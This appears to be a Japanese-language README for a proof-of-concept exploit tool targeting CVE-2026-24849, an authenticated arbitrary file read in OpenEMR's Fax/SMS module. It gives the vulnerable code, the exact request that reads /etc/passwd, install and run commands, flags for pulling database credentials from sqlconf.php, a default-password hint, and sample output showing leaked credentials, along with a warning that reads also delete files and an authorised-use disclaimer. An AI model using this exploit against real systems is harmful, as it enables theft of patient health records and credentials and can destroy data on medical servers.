
CVE-2026-24849 の概念実証エクスプロイト。OpenEMR の Fax/SMS (EtherFax) モジュールにおける認証済みパストラバーサル / 任意ファイル読み取りの脆弱性です。権限レベルに関係なく、認証された任意のユーザーが、ウェブサーバーユーザーとしてサーバーファイルシステム上の任意のファイル(データベース認証情報、患者文書/PHI、/etc/passwd など)を読み取ることができます。
disposeDoc)CVE-2026-24849 の概念実証エクスプロイトです。これは OpenEMR の Fax/SMS (EtherFax) モジュールにおける認証済みパストラバーサル/任意ファイル読み取り脆弱性です。認証されたユーザーは、権限レベルに関係なく、Webサーバーユーザーとしてサーバーファイルシステム上の任意のファイル(データベース資格情報、患者文書/PHI、/etc/passwd など)を読み取ることができます。
| CVE | CVE-2026-24849 |
| 脆弱性 | パストラバーサル / 任意ファイル読み取り (CWE-22) |
| コンポーネント | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| 影響を受けるバージョン | OpenEMR < 7.0.4 |
| 修正バージョン | OpenEMR 7.0.4 |
| 認証 | 必須 任意のユーザー、権限不要 |
| 深刻度 | NVD 6.5 (Medium) / GitHub CNA 9.9 (Critical) |
| テスト環境 | OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4 |
Fax/SMS モジュールの disposeDoc() メソッドは、呼び出し元から提供された file_path リクエストパラメータを受け取り、ファイルの存在を確認した後、有効なセッション以外にパスの正規化、許可リスト、認可チェックを一切行わずにそのまま readfile() に渡します。
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated
if (file_exists($where)) {
...
readfile($where); // arbitrary file read as the web-server user
unlink($where); // ⚠ deletes the file after reading (see warning below)
exit;
}
die('Problem with download. Use browser back button');
}
このハンドラは、モジュールディスパッチャを介して file_path に絶対パスを指定することで到達します(../ によるトラバーサルは不要)。
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
低権限(またはデフォルト)アカウントが、完全なサーバーサイドファイル読み取りプリミティブになります。
sites/default/sqlconf.phpsites/<site>/documents/ 以下のあらゆるファイル。ディレクトリが .htaccess で Deny from all に設定されていても(読み取りはディスク上で行われ、Apache をバイパスするため)。/etc/passwd、アプリケーションソース、Webユーザーが読み取り可能なキー/トークン⚠️ 破壊的な動作
disposeDoc()はファイルを読み取った後にunlink($where)を呼び出します。Webサーバーユーザーが削除できるファイルを読み取ると、そのファイルは削除されます。root 所有のファイル(例:/etc/passwd、ほとんどのインストールにおけるsqlconf.php)をターゲットにした場合、親ディレクトリが Webユーザーによって書き込み可能でないため、unlink()は失敗し、ファイルはそのまま残ります。このツールを何に使用するかは慎重に判断してください。
admin:pass がしばしば機能します)。requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
引数なしで実行すると、必要な情報をすべて対話的に尋ねられます。
python3 CVE-2026-24849.py
または、フラグを使用して非対話的に実行することもできます。
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
-f を省略すると、ツールは対話型読み取りループに入り、1回のセッションで複数のファイルを取得できます。
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests を使用してログインし、セッションを独自のクッキージャーに保持します(ブラウザのセッションIDローテーションによるコピーしたクッキーの期限切れを回避します)。disposeDoc 読み取りリクエストを送信し、disposeDoc と disposeDocument の両方を自動試行します(メソッド名は影響を受けるマイナーバージョンによって異なります)。.htaccess だけに頼らないでください。このツールは認可されたセキュリティテストおよび教育目的のみで提供されます。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。作成者は、このソフトウェアの誤用またはそれによって生じた損害について一切の責任を負いません。上記で説明した破壊的な unlink() の動作に注意してください。
doany1
MIT ライセンス。詳細は LICENSE を参照してください。
| フラグ | 説明 | デフォルト |
|---|
-t, --target | ベースURL(例: http://10.10.10.10) | 対話的に入力 |
-u, --user | OpenEMR ユーザー名 | admin |
-P, --password | OpenEMR パスワード | 対話的に入力(非表示) |
-s, --site | OpenEMR サイトID | default |
-f, --file | 読み取るリモートファイルの絶対パス | 省略時は対話ループ |
-o, --output | 取得したファイルを表示せずにローカルに保存 |